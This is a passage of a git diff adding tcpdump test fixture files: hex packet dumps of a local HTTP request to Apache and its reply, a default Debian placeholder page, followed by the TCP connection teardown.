+	0x1130:  6c6c 6564 2062 7920 7468 6520 3c41 0a48
+	0x1140:  5245 463d 2268 7474 703a 2f2f 7777 772e
+	0x1150:  6465 6269 616e 2e6f 7267 2f22 3e44 6562
+	0x1160:  6961 6e3c 2f41 3e0a 7265 6c65 6173 6520
+	0x1170:  6f66 2074 6865 2061 7061 6368 6520 5765
+	0x1180:  6220 7365 7276 6572 2070 6163 6b61 6765
+	0x1190:  2e0a 0a3c 503e 5468 6973 2063 6f6d 7075
+	0x11a0:  7465 7220 6861 7320 696e 7374 616c 6c65
+	0x11b0:  6420 7468 6520 4465 6269 616e 2047 4e55
+	0x11c0:  2f4c 696e 7578 206f 7065 7261 7469 6e67
+	0x11d0:  2073 7973 7465 6d2c 0a62 7574 2069 7420
+	0x11e0:  6861 7320 3c73 7472 6f6e 673e 6e6f 7468
+	0x11f0:  696e 6720 746f 2064 6f20 7769 7468 2074
+	0x1200:  6865 2044 6562 6961 6e0a 5072 6f6a 6563
+	0x1210:  743c 2f73 7472 6f6e 673e 2e20 506c 6561
+	0x1220:  7365 2064 6f20 3c73 7472 6f6e 673e 6e6f
+	0x1230:  743c 2f73 7472 6f6e 673e 2063 6f6e 7461
+	0x1240:  6374 2074 6865 2044 6562 6961 6e0a 5072
+	0x1250:  6f6a 6563 7420 6162 6f75 7420 6974 2e3c
+	0x1260:  2f50 3e0a 0a3c 503e 4966 2079 6f75 2066
+	0x1270:  696e 6420 6120 6275 6720 696e 2074 6869
+	0x1280:  7320 6170 6163 6865 2070 6163 6b61 6765
+	0x1290:  2c20 6f72 2069 6e20 4170 6163 6865 2069
+	0x12a0:  7473 656c 662c 0a70 6c65 6173 6520 6669
+	0x12b0:  6c65 2061 2062 7567 2072 6570 6f72 7420
+	0x12c0:  6f6e 2069 742e 2020 496e 7374 7275 6374
+	0x12d0:  696f 6e73 206f 6e20 646f 696e 6720 7468
+	0x12e0:  6973 2c20 616e 6420 7468 650a 6c69 7374
+	0x12f0:  206f 6620 3c41 2048 5245 463d 2268 7474
+	0x1300:  703a 2f2f 6275 6773 2e64 6562 6961 6e2e
+	0x1310:  6f72 672f 7372 633a 6170 6163 6865 223e
+	0x1320:  6b6e 6f77 6e20 6275 6773 3c2f 413e 206f
+	0x1330:  6620 7468 6973 0a70 6163 6b61 6765 2c20
+	0x1340:  6361 6e20 6265 2066 6f75 6e64 2069 6e20
+	0x1350:  7468 6520 0a3c 4120 4852 4546 3d22 6874
+	0x1360:  7470 3a2f 2f77 7777 2e64 6562 6961 6e2e
+	0x1370:  6f72 672f 4275 6773 2f52 6570 6f72 7469
+	0x1380:  6e67 223e 4465 6269 616e 2042 7567 2054
+	0x1390:  7261 636b 696e 6720 5379 7374 656d 3c2f
+	0x13a0:  413e 2e0a 0a3c 503e 5468 616e 6b73 2066
+	0x13b0:  6f72 2075 7369 6e67 2074 6869 7320 7061
+	0x13c0:  636b 6167 652c 2061 6e64 2063 6f6e 6772
+	0x13d0:  6174 756c 6174 696f 6e73 2066 6f72 2079
+	0x13e0:  6f75 7220 6368 6f69 6365 206f 660a 6120
+	0x13f0:  4465 6269 616e 2073 7973 7465 6d21 3c2f
+	0x1400:  503e 0a0a 3c44 4956 2061 6c69 676e 3d22
+	0x1410:  6365 6e74 6572 223e 0a3c 6120 6872 6566
+	0x1420:  3d22 6874 7470 3a2f 2f77 7777 2e64 6562
+	0x1430:  6961 6e2e 6f72 672f 223e 0a3c 494d 4720
+	0x1440:  616c 6967 6e3d 226d 6964 646c 6522 2068
+	0x1450:  6569 6768 743d 2233 3022 2077 6964 7468
+	0x1460:  3d22 3235 2220 7372 633d 2269 636f 6e73
+	0x1470:  2f64 6562 6961 6e2f 6f70 656e 6c6f 676f
+	0x1480:  2d32 352e 6a70 6722 2061 6c74 3d22 4465
+	0x1490:  6269 616e 223e 0a3c 2f61 3e0a 3c61 2068
+	0x14a0:  7265 663d 2268 7474 703a 2f2f 7777 772e
+	0x14b0:  6170 6163 6865 2e6f 7267 2f22 3e0a 3c49
+	0x14c0:  4d47 2061 6c69 676e 3d22 6d69 6464 6c65
+	0x14d0:  2220 6865 6967 6874 3d22 3332 2220 7769
+	0x14e0:  6474 683d 2232 3539 2220 7372 633d 2269
+	0x14f0:  636f 6e73 2f61 7061 6368 655f 7062 2e70
+	0x1500:  6e67 2220 616c 743d 2241 7061 6368 6522
+	0x1510:  3e0a 3c2f 613e 0a3c 2f44 4956 3e0a 0a3c
+	0x1520:  212d 2d0a 2020 5468 6973 2070 6167 6520
+	0x1530:  7761 7320 696e 6974 6961 6c6c 7920 6372
+	0x1540:  6561 7465 6420 6279 204a 6f68 6e69 6520
+	0x1550:  496e 6772 616d 2028 6874 7470 3a2f 2f6e
+	0x1560:  6574 676f 642e 6e65 742f 290a 2020 4974
+	0x1570:  2077 6173 206c 6174 6572 2065 6469 7465
+	0x1580:  6420 6279 204d 6174 7468 6577 2057 696c
+	0x1590:  636f 7820 616e 6420 4a6f 7369 7020 526f
+	0x15a0:  6469 6e2e 0a20 204c 6173 7420 6d6f 6469
+	0x15b0:  6669 6564 3a20 2444 6174 653a 2032 3030
+	0x15c0:  342f 3036 2f32 3020 3135 3a33 333a 3537
+	0x15d0:  2024 2e0a 2020 2d2d 3e0a 0a3c 2f42 4f44
+	0x15e0:  593e 0a3c 2f48 544d 4c3e 0a
+22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+	0x0000:  4500 0034 1b6e 4000 4006 2154 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 8a49 377a a3a9
+	0x0020:  8010 305f 10ea 0000 0101 080a 4ddc 9219
+	0x0030:  4ddc 9219
+22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+	0x0000:  4500 0034 1b70 4000 4006 2152 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 8a49 377a a3a9
+	0x0020:  8011 305f 0be1 0000 0101 080a 4ddc 9721
+	0x0030:  4ddc 9219
+22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+	0x0000:  4500 0034 1fe8 4000 4006 1cda 7f00 0001
+	0x0010:  7f00 0001 0050 da70 377a a3a9 3758 8a4a
+	0x0020:  8011 2000 1735 0000 0101 080a 4ddc 9723
+	0x0030:  4ddc 9721
+22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+	0x0000:  4500 0034 1b72 4000 4006 2150 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 8a4a 377a a3aa
+	0x0020:  8010 305f 06d4 0000 0101 080a 4ddc 9723
+	0x0030:  4ddc 9723
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/print-xx.out b/peasoup_examples/tests/tcpdump/tcpd_tests/print-xx.out
new file mode 100644
index 0000000000000000000000000000000000000000..d9d24db55d50059b5da90ca7c6b376567baa7070
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/print-xx.out
@@ -0,0 +1,419 @@
+22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  003c 1b68 4000 4006 2152 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 897e 0000 0000 a002
+	0x0030:  7fff 1421 0000 0204 400c 0402 080a 4ddc
+	0x0040:  9216 0000 0000 0103 0302
+22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  003c 0000 4000 4006 3cba 7f00 0001 7f00
+	0x0020:  0001 0050 da70 377a 8df1 3758 897f a012
+	0x0030:  7fff 6eb1 0000 0204 400c 0402 080a 4ddc
+	0x0040:  9216 4ddc 9216 0103 0302
+22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1b6a 4000 4006 2158 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 897f 377a 8df2 8010
+	0x0030:  2000 37d0 0000 0101 080a 4ddc 9216 4ddc
+	0x0040:  9216
+22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  00fe 1b6c 4000 4006 208c 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 897f 377a 8df2 8018
+	0x0030:  2000 fef2 0000 0101 080a 4ddc 9217 4ddc
+	0x0040:  9216 4745 5420 2f20 4854 5450 2f31 2e31
+	0x0050:  0d0a 486f 7374 3a20 6c6f 6361 6c68 6f73
+	0x0060:  740d 0a55 7365 722d 4167 656e 743a 2045
+	0x0070:  4c69 6e6b 732f 302e 3130 2e34 2d37 2d64
+	0x0080:  6562 6961 6e20 2874 6578 746d 6f64 653b
+	0x0090:  204c 696e 7578 2032 2e36 2e31 312d 312d
+	0x00a0:  3638 362d 736d 7020 6936 3836 3b20 3133
+	0x00b0:  3278 3536 2d32 290d 0a41 6363 6570 743a
+	0x00c0:  202a 2f2a 0d0a 4163 6365 7074 2d45 6e63
+	0x00d0:  6f64 696e 673a 2067 7a69 700d 0a41 6363
+	0x00e0:  6570 742d 4c61 6e67 7561 6765 3a20 656e
+	0x00f0:  0d0a 436f 6e6e 6563 7469 6f6e 3a20 4b65
+	0x0100:  6570 2d41 6c69 7665 0d0a 0d0a
+22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1fe4 4000 4006 1cde 7f00 0001 7f00
+	0x0020:  0001 0050 da70 377a 8df2 3758 8a49 8010
+	0x0030:  2000 3703 0000 0101 080a 4ddc 9218 4ddc
+	0x0040:  9217
+22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  15eb 1fe6 4000 4006 0725 7f00 0001 7f00
+	0x0020:  0001 0050 da70 377a 8df2 3758 8a49 8018
+	0x0030:  2000 13e0 0000 0101 080a 4ddc 9219 4ddc
+	0x0040:  9217 4854 5450 2f31 2e31 2032 3030 204f
+	0x0050:  4b0d 0a44 6174 653a 2057 6564 2c20 3036
+	0x0060:  204a 756c 2032 3030 3520 3033 3a35 373a
+	0x0070:  3335 2047 4d54 0d0a 5365 7276 6572 3a20
+	0x0080:  4170 6163 6865 2f31 2e33 2e33 330d 0a4c
+	0x0090:  6173 742d 4d6f 6469 6669 6564 3a20 5375
+	0x00a0:  6e2c 2031 3520 4175 6720 3230 3034 2030
+	0x00b0:  303a 3433 3a34 3120 474d 540d 0a45 5461
+	0x00c0:  673a 2022 3665 3830 6630 2d31 3438 612d
+	0x00d0:  3431 3165 6231 6264 220d 0a41 6363 6570
+	0x00e0:  742d 5261 6e67 6573 3a20 6279 7465 730d
+	0x00f0:  0a43 6f6e 7465 6e74 2d4c 656e 6774 683a
+	0x0100:  2035 3235 380d 0a4b 6565 702d 416c 6976
+	0x0110:  653a 2074 696d 656f 7574 3d31 352c 206d
+	0x0120:  6178 3d31 3030 0d0a 436f 6e6e 6563 7469
+	0x0130:  6f6e 3a20 4b65 6570 2d41 6c69 7665 0d0a
+	0x0140:  436f 6e74 656e 742d 5479 7065 3a20 7465
+	0x0150:  7874 2f68 746d 6c3b 2063 6861 7273 6574
+	0x0160:  3d69 736f 2d38 3835 392d 310d 0a0d 0a3c
+	0x0170:  2144 4f43 5459 5045 2048 544d 4c20 5055
+	0x0180:  424c 4943 2022 2d2f 2f57 3343 2f2f 4454
+	0x0190:  4420 4854 4d4c 2034 2e30 3120 5472 616e
+	0x01a0:  7369 7469 6f6e 616c 2f2f 454e 223e 0a3c
+	0x01b0:  4854 4d4c 3e0a 3c48 4541 443e 0a20 2020
+	0x01c0:  3c4d 4554 4120 4854 5450 2d45 5155 4956
+	0x01d0:  3d22 436f 6e74 656e 742d 5479 7065 2220
+	0x01e0:  434f 4e54 454e 543d 2274 6578 742f 6874
+	0x01f0:  6d6c 3b20 6368 6172 7365 743d 6973 6f2d
+	0x0200:  3838 3539 2d31 223e 0a20 2020 3c4d 4554
+	0x0210:  4120 4e41 4d45 3d22 4465 7363 7269 7074
+	0x0220:  696f 6e22 2043 4f4e 5445 4e54 3d22 5468
+	0x0230:  6520 696e 6974 6961 6c20 696e 7374 616c
+	0x0240:  6c61 7469 6f6e 206f 6620 4465 6269 616e
+	0x0250:  2061 7061 6368 652e 223e 0a20 2020 3c54
+	0x0260:  4954 4c45 3e50 6c61 6365 686f 6c64 6572
+	0x0270:  2070 6167 653c 2f54 4954 4c45 3e0a 3c2f
+	0x0280:  4845 4144 3e0a 3c42 4f44 5920 5445 5854
+	0x0290:  3d22 2330 3030 3030 3022 2042 4743 4f4c
+	0x02a0:  4f52 3d22 2346 4646 4646 4622 204c 494e
+	0x02b0:  4b3d 2223 3030 3030 4546 2220 564c 494e
+	0x02c0:  4b3d 2223 3535 3138 3841 2220 414c 494e
+	0x02d0:  4b3d 2223 4646 3030 3030 223e 0a0a 3c48
+	0x02e0:  313e 506c 6163 6568 6f6c 6465 7220 7061
+	0x02f0:  6765 3c2f 4831 3e0a 3c48 323e 4966 2079
+	0x0300:  6f75 2061 7265 206a 7573 7420 6272 6f77
+	0x0310:  7369 6e67 2074 6865 2077 6562 3c2f 6832
+	0x0320:  3e0a 0a3c 503e 5468 6520 6f77 6e65 7220
+	0x0330:  6f66 2074 6869 7320 7765 6220 7369 7465
+	0x0340:  2068 6173 206e 6f74 2070 7574 2075 7020
+	0x0350:  616e 7920 7765 6220 7061 6765 7320 7965
+	0x0360:  742e 0a50 6c65 6173 6520 636f 6d65 2062
+	0x0370:  6163 6b20 6c61 7465 722e 3c2f 503e 0a0a
+	0x0380:  3c50 3e3c 534d 414c 4c3e 3c43 4954 453e
+	0x0390:  4d6f 7665 2061 6c6f 6e67 2c20 6e6f 7468
+	0x03a0:  696e 6720 746f 2073 6565 2068 6572 652e
+	0x03b0:  2e2e 3c2f 4349 5445 3e20 3a2d 293c 2f53
+	0x03c0:  4d41 4c4c 3e3c 2f50 3e0a 0a3c 4832 3e49
+	0x03d0:  6620 796f 7520 6172 6520 7472 7969 6e67
+	0x03e0:  2074 6f20 6c6f 6361 7465 2074 6865 2061
+	0x03f0:  646d 696e 6973 7472 6174 6f72 206f 6620
+	0x0400:  7468 6973 206d 6163 6869 6e65 3c2f 4832
+	0x0410:  3e0a 0a3c 503e 4966 2079 6f75 2077 616e
+	0x0420:  7420 746f 2072 6570 6f72 7420 736f 6d65
+	0x0430:  7468 696e 6720 6162 6f75 7420 7468 6973
+	0x0440:  2068 6f73 7427 7320 6265 6861 7669 6f72
+	0x0450:  2c20 706c 6561 7365 0a63 6f6e 7461 6374
+	0x0460:  2074 6865 2049 6e74 6572 6e65 7420 5365
+	0x0470:  7276 6963 6520 5072 6f76 6964 6572 2028
+	0x0480:  4953 5029 2069 6e76 6f6c 7665 6420 6469
+	0x0490:  7265 6374 6c79 2e3c 2f50 3e0a 0a3c 503e
+	0x04a0:  5365 6520 7468 6520 3c41 2068 7265 663d
+	0x04b0:  2268 7474 703a 2f2f 7777 772e 6162 7573
+	0x04c0:  652e 6e65 742f 223e 4e65 7477 6f72 6b20
+	0x04d0:  4162 7573 650a 436c 6561 7269 6e67 686f
+	0x04e0:  7573 653c 2f41 3e20 666f 7220 686f 7720
+	0x04f0:  746f 2064 6f20 7468 6973 2e3c 2f50 3e0a
+	0x0500:  0a3c 4832 3e49 6620 796f 7520 6172 6520
+	0x0510:  7468 6520 6164 6d69 6e69 7374 7261 746f
+	0x0520:  7220 6f66 2074 6869 7320 6d61 6368 696e
+	0x0530:  653c 2f48 323e 0a0a 3c50 3e54 6865 2069
+	0x0540:  6e69 7469 616c 2069 6e73 7461 6c6c 6174
+	0x0550:  696f 6e20 6f66 203c 4120 6872 6566 3d22
+	0x0560:  6874 7470 3a2f 2f77 7777 2e64 6562 6961
+	0x0570:  6e2e 6f72 672f 223e 4465 6269 616e 2773
+	0x0580:  0a61 7061 6368 653c 2f41 3e20 7765 6220
+	0x0590:  7365 7276 6572 2070 6163 6b61 6765 2077
+	0x05a0:  6173 2073 7563 6365 7373 6675 6c2e 3c2f
+	0x05b0:  503e 0a0a 3c50 3e3c 5354 524f 4e47 3e59
+	0x05c0:  6f75 2073 686f 756c 6420 7265 706c 6163
+	0x05d0:  6520 7468 6973 2070 6167 6520 7769 7468
+	0x05e0:  2079 6f75 7220 6f77 6e20 7765 6220 7061
+	0x05f0:  6765 7320 6173 0a73 6f6f 6e20 6173 2070
+	0x0600:  6f73 7369 626c 652e 3c2f 5354 524f 4e47
+	0x0610:  3e3c 2f50 3e0a 0a3c 503e 556e 6c65 7373
+	0x0620:  2079 6f75 2063 6861 6e67 6564 2069 7473
+	0x0630:  2063 6f6e 6669 6775 7261 7469 6f6e 2c20
+	0x0640:  796f 7572 206e 6577 2073 6572 7665 7220
+	0x0650:  6973 2063 6f6e 6669 6775 7265 6420 6173
+	0x0660:  2066 6f6c 6c6f 7773 3a0a 3c55 4c3e 0a3c
+	0x0670:  4c49 3e0a 436f 6e66 6967 7572 6174 696f
+	0x0680:  6e20 6669 6c65 7320 6361 6e20 6265 2066
+	0x0690:  6f75 6e64 2069 6e20 3c54 543e 2f65 7463
+	0x06a0:  2f61 7061 6368 653c 2f54 543e 2e3c 2f4c
+	0x06b0:  493e 0a0a 3c4c 493e 0a54 6865 203c 5454
+	0x06c0:  3e44 6f63 756d 656e 7452 6f6f 743c 2f54
+	0x06d0:  543e 2c20 7768 6963 6820 6973 2074 6865
+	0x06e0:  2064 6972 6563 746f 7279 2075 6e64 6572
+	0x06f0:  2077 6869 6368 2061 6c6c 2079 6f75 720a
+	0x0700:  4854 4d4c 2066 696c 6573 2073 686f 756c
+	0x0710:  6420 6578 6973 742c 2069 7320 7365 7420
+	0x0720:  746f 203c 5454 3e2f 7661 722f 7777 773c
+	0x0730:  2f54 543e 2e3c 2f4c 493e 0a0a 3c4c 493e
+	0x0740:  0a43 4749 2073 6372 6970 7473 2061 7265
+	0x0750:  206c 6f6f 6b65 6420 666f 7220 696e 203c
+	0x0760:  5454 3e2f 7573 722f 6c69 622f 6367 692d
+	0x0770:  6269 6e3c 2f54 543e 2c20 7768 6963 6820
+	0x0780:  6973 2077 6865 7265 0a44 6562 6961 6e20
+	0x0790:  7061 636b 6167 6573 2077 696c 6c20 706c
+	0x07a0:  6163 6520 7468 6569 7220 7363 7269 7074
+	0x07b0:  732e 3c2f 4c49 3e0a 0a3c 4c49 3e0a 4c6f
+	0x07c0:  6720 6669 6c65 7320 6172 6520 706c 6163
+	0x07d0:  6564 2069 6e20 3c54 543e 2f76 6172 2f6c
+	0x07e0:  6f67 2f61 7061 6368 653c 2f54 543e 2c20
+	0x07f0:  616e 6420 7769 6c6c 2062 6520 726f 7461
+	0x0800:  7465 640a 7765 656b 6c79 2e20 2054 6865
+	0x0810:  2066 7265 7175 656e 6379 206f 6620 726f
+	0x0820:  7461 7469 6f6e 2063 616e 2062 6520 6561
+	0x0830:  7369 6c79 2063 6861 6e67 6564 2062 7920
+	0x0840:  6564 6974 696e 670a 3c54 543e 2f65 7463
+	0x0850:  2f6c 6f67 726f 7461 7465 2e64 2f61 7061
+	0x0860:  6368 653c 2f54 543e 2e3c 2f4c 493e 0a0a
+	0x0870:  3c4c 493e 0a54 6865 2064 6566 6175 6c74
+	0x0880:  2064 6972 6563 746f 7279 2069 6e64 6578
+	0x0890:  2069 7320 3c54 543e 696e 6465 782e 6874
+	0x08a0:  6d6c 3c2f 5454 3e2c 206d 6561 6e69 6e67
+	0x08b0:  2074 6861 7420 7265 7175 6573 7473 0a66
+	0x08c0:  6f72 2061 2064 6972 6563 746f 7279 203c
+	0x08d0:  5454 3e2f 666f 6f2f 6261 722f 3c2f 5454
+	0x08e0:  3e20 7769 6c6c 2067 6976 6520 7468 6520
+	0x08f0:  636f 6e74 656e 7473 206f 6620 7468 6520
+	0x0900:  6669 6c65 203c 5454 3e2f 7661 722f 7777
+	0x0910:  772f 666f 6f2f 6261 722f 696e 6465 782e
+	0x0920:  6874 6d6c 3c2f 5454 3e0a 6966 2069 7420
+	0x0930:  6578 6973 7473 2028 6173 7375 6d69 6e67
+	0x0940:  2074 6861 7420 3c54 543e 2f76 6172 2f77
+	0x0950:  7777 3c2f 5454 3e20 6973 2079 6f75 7220
+	0x0960:  3c54 543e 446f 6375 6d65 6e74 526f 6f74
+	0x0970:  3c2f 5454 3e29 2e3c 2f4c 493e 0a0a 3c4c
+	0x0980:  493e 0a55 7365 7220 6469 7265 6374 6f72
+	0x0990:  6965 7320 6172 6520 656e 6162 6c65 642c
+	0x09a0:  2061 6e64 2075 7365 7220 646f 6375 6d65
+	0x09b0:  6e74 7320 7769 6c6c 2062 6520 6c6f 6f6b
+	0x09c0:  6564 2066 6f72 0a69 6e20 7468 6520 3c54
+	0x09d0:  543e 7075 626c 6963 5f68 746d 6c3c 2f54
+	0x09e0:  543e 2064 6972 6563 746f 7279 206f 6620
+	0x09f0:  7468 6520 7573 6572 7327 2068 6f6d 6573
+	0x0a00:  2e20 2054 6865 7365 2064 6972 730a 7368
+	0x0a10:  6f75 6c64 2062 6520 756e 6465 7220 3c54
+	0x0a20:  543e 2f68 6f6d 653c 2f54 543e 2c20 616e
+	0x0a30:  6420 7573 6572 7320 7769 6c6c 206e 6f74
+	0x0a40:  2062 6520 6162 6c65 2074 6f20 7379 6d6c
+	0x0a50:  696e 6b0a 746f 2066 696c 6573 2074 6865
+	0x0a60:  7920 646f 6e27 7420 6f77 6e2e 3c2f 4c49
+	0x0a70:  3e0a 0a3c 2f55 4c3e 0a41 6c6c 2074 6865
+	0x0a80:  2073 7461 6e64 6172 6420 6170 6163 6865
+	0x0a90:  206d 6f64 756c 6573 2061 7265 2061 7661
+	0x0aa0:  696c 6162 6c65 2077 6974 6820 7468 6973
+	0x0ab0:  2072 656c 6561 7365 2061 6e64 2061 7265
+	0x0ac0:  0a6e 6f77 206d 616e 6167 6564 2077 6974
+	0x0ad0:  6820 6465 6263 6f6e 662e 2020 5479 7065
+	0x0ae0:  203c 5454 3e64 706b 672d 7265 636f 6e66
+	0x0af0:  6967 7572 6520 6170 6163 6865 3c2f 5454
+	0x0b00:  3e20 746f 0a73 656c 6563 7420 7768 6963
+	0x0b10:  6820 6d6f 6475 6c65 7320 796f 7520 7761
+	0x0b20:  6e74 2065 6e61 626c 6564 2e20 204d 616e
+	0x0b30:  7920 6f74 6865 7220 6d6f 6475 6c65 7320
+	0x0b40:  6172 6520 6176 6169 6c61 626c 650a 7468
+	0x0b50:  726f 7567 6820 7468 6520 4465 6269 616e
+	0x0b60:  2070 6163 6b61 6765 2073 7973 7465 6d20
+	0x0b70:  7769 7468 2074 6865 206e 616d 6573 203c
+	0x0b80:  5454 3e6c 6962 6170 6163 6865 2d6d 6f64
+	0x0b90:  2d2a 3c2f 5454 3e2e 0a49 6620 796f 7520
+	0x0ba0:  6e65 6564 2074 6f20 636f 6d70 696c 6520
+	0x0bb0:  6120 6d6f 6475 6c65 2079 6f75 7273 656c
+	0x0bc0:  662c 2079 6f75 2077 696c 6c20 6e65 6564
+	0x0bd0:  2074 6f20 696e 7374 616c 6c20 7468 650a
+	0x0be0:  3c54 543e 6170 6163 6865 2d64 6576 3c2f
+	0x0bf0:  5454 3e20 7061 636b 6167 652e 0a0a 3c50
+	0x0c00:  3e4d 6f72 6520 646f 6375 6d65 6e74 6174
+	0x0c10:  696f 6e20 6f6e 2041 7061 6368 6520 6361
+	0x0c20:  6e20 6265 2066 6f75 6e64 206f 6e3a 0a3c
+	0x0c30:  554c 3e0a 3c4c 493e 0a54 6865 203c 4120
+	0x0c40:  4852 4546 3d22 2f64 6f63 2f61 7061 6368
+	0x0c50:  652d 646f 632f 6d61 6e75 616c 2f22 3e41
+	0x0c60:  7061 6368 6520 646f 6375 6d65 6e74 6174
+	0x0c70:  696f 6e3c 2f41 3e20 7374 6f72 6564 206f
+	0x0c80:  6e20 796f 7572 2073 6572 7665 722e 3c2f
+	0x0c90:  4c49 3e0a 0a3c 4c49 3e0a 5468 6520 3c41
+	0x0ca0:  2048 5245 463d 2268 7474 703a 2f2f 7777
+	0x0cb0:  772e 6170 6163 6865 2e6f 7267 2f22 3e41
+	0x0cc0:  7061 6368 6520 5072 6f6a 6563 743c 2f41
+	0x0cd0:  3e20 686f 6d65 2073 6974 652e 3c2f 4c49
+	0x0ce0:  3e0a 0a3c 4c49 3e0a 5468 6520 3c41 2048
+	0x0cf0:  5245 463d 2268 7474 703a 2f2f 7777 772e
+	0x0d00:  6170 6163 6865 2d73 736c 2e6f 7267 2f22
+	0x0d10:  3e41 7061 6368 652d 5353 4c3c 2f41 3e20
+	0x0d20:  686f 6d65 2073 6974 652e 3c2f 4c49 3e0a
+	0x0d30:  0a3c 4c49 3e0a 5468 6520 3c41 2048 5245
+	0x0d40:  463d 2268 7474 703a 2f2f 7065 726c 2e61
+	0x0d50:  7061 6368 652e 6f72 672f 223e 6d6f 6420
+	0x0d60:  7065 726c 3c2f 413e 2068 6f6d 6520 7369
+	0x0d70:  7465 2e3c 2f4c 493e 0a0a 3c4c 493e 0a54
+	0x0d80:  6865 203c 4120 4852 4546 3d22 6874 7470
+	0x0d90:  3a2f 2f77 7777 2e61 7061 6368 6577 6565
+	0x0da0:  6b2e 636f 6d2f 223e 4170 6163 6865 5765
+	0x0db0:  656b 3c2f 413e 206e 6577 736c 6574 7465
+	0x0dc0:  722e 3c2f 4c49 3e0a 0a3c 4c49 3e0a 5468
+	0x0dd0:  6520 3c41 2048 5245 463d 2268 7474 703a
+	0x0de0:  2f2f 7777 772e 6465 6269 616e 2e6f 7267
+	0x0df0:  2f64 6f63 2f22 3e44 6562 6961 6e20 5072
+	0x0e00:  6f6a 6563 740a 446f 6375 6d65 6e74 6174
+	0x0e10:  696f 6e3c 2f41 3e20 7768 6963 6820 636f
+	0x0e20:  6e74 6169 6e73 2048 4f57 544f 732c 2046
+	0x0e30:  4151 732c 2061 6e64 2073 6f66 7477 6172
+	0x0e40:  6520 7570 6461 7465 732e 3c2f 4c49 3e0a
+	0x0e50:  3c2f 554c 3e0a 0a3c 503e 596f 7520 6361
+	0x0e60:  6e20 616c 736f 2063 6f6e 7375 6c74 2074
+	0x0e70:  6865 206c 6973 7420 6f66 203c 4120 4852
+	0x0e80:  4546 3d22 6874 7470 3a2f 2f77 7777 2e62
+	0x0e90:  6f75 7465 6c6c 2e63 6f6d 2f66 6171 2f22
+	0x0ea0:  3e57 6f72 6c64 0a57 6964 6520 5765 6220
+	0x0eb0:  4672 6571 7565 6e74 6c79 2041 736b 6564
+	0x0ec0:  2051 7565 7374 696f 6e73 3c2f 413e 2066
+	0x0ed0:  6f72 2069 6e66 6f72 6d61 7469 6f6e 2e0a
+	0x0ee0:  0a3c 4832 3e4c 6574 206f 7468 6572 2070
+	0x0ef0:  656f 706c 6520 6b6e 6f77 2061 626f 7574
+	0x0f00:  2074 6869 7320 7365 7276 6572 3c2f 4832
+	0x0f10:  3e0a 0a3c 4120 4852 4546 3d22 6874 7470
+	0x0f20:  3a2f 2f6e 6574 6372 6166 742e 636f 6d2f
+	0x0f30:  223e 4e65 7463 7261 6674 3c2f 413e 2070
+	0x0f40:  726f 7669 6465 7320 616e 2069 6e74 6572
+	0x0f50:  6573 7469 6e67 2066 7265 650a 7365 7276
+	0x0f60:  6963 6520 666f 7220 7765 6220 7369 7465
+	0x0f70:  206d 6f6e 6974 6f72 696e 6720 616e 6420
+	0x0f80:  7374 6174 6973 7469 6320 636f 6c6c 6563
+	0x0f90:  7469 6f6e 2e0a 596f 7520 6361 6e20 6c65
+	0x0fa0:  7420 7468 656d 206b 6e6f 7720 6162 6f75
+	0x0fb0:  7420 796f 7572 2073 6572 7665 7220 7573
+	0x0fc0:  696e 6720 7468 6569 720a 3c41 2048 5245
+	0x0fd0:  463d 2268 7474 703a 2f2f 7570 7469 6d65
+	0x0fe0:  2e6e 6574 6372 6166 742e 636f 6d2f 223e
+	0x0ff0:  696e 7465 7266 6163 653c 2f41 3e2e 0a45
+	0x1000:  6e61 626c 696e 6720 7468 6520 6d6f 6e69
+	0x1010:  746f 7269 6e67 206f 6620 796f 7572 2073
+	0x1020:  6572 7665 7220 7769 6c6c 2070 726f 7669
+	0x1030:  6465 2061 2062 6574 7465 7220 676c 6f62
+	0x1040:  616c 206f 7665 7276 6965 770a 6f66 2077
+	0x1050:  686f 2069 7320 7573 696e 6720 7768 6174
+	0x1060:  2061 6e64 2077 6865 7265 2c20 616e 6420
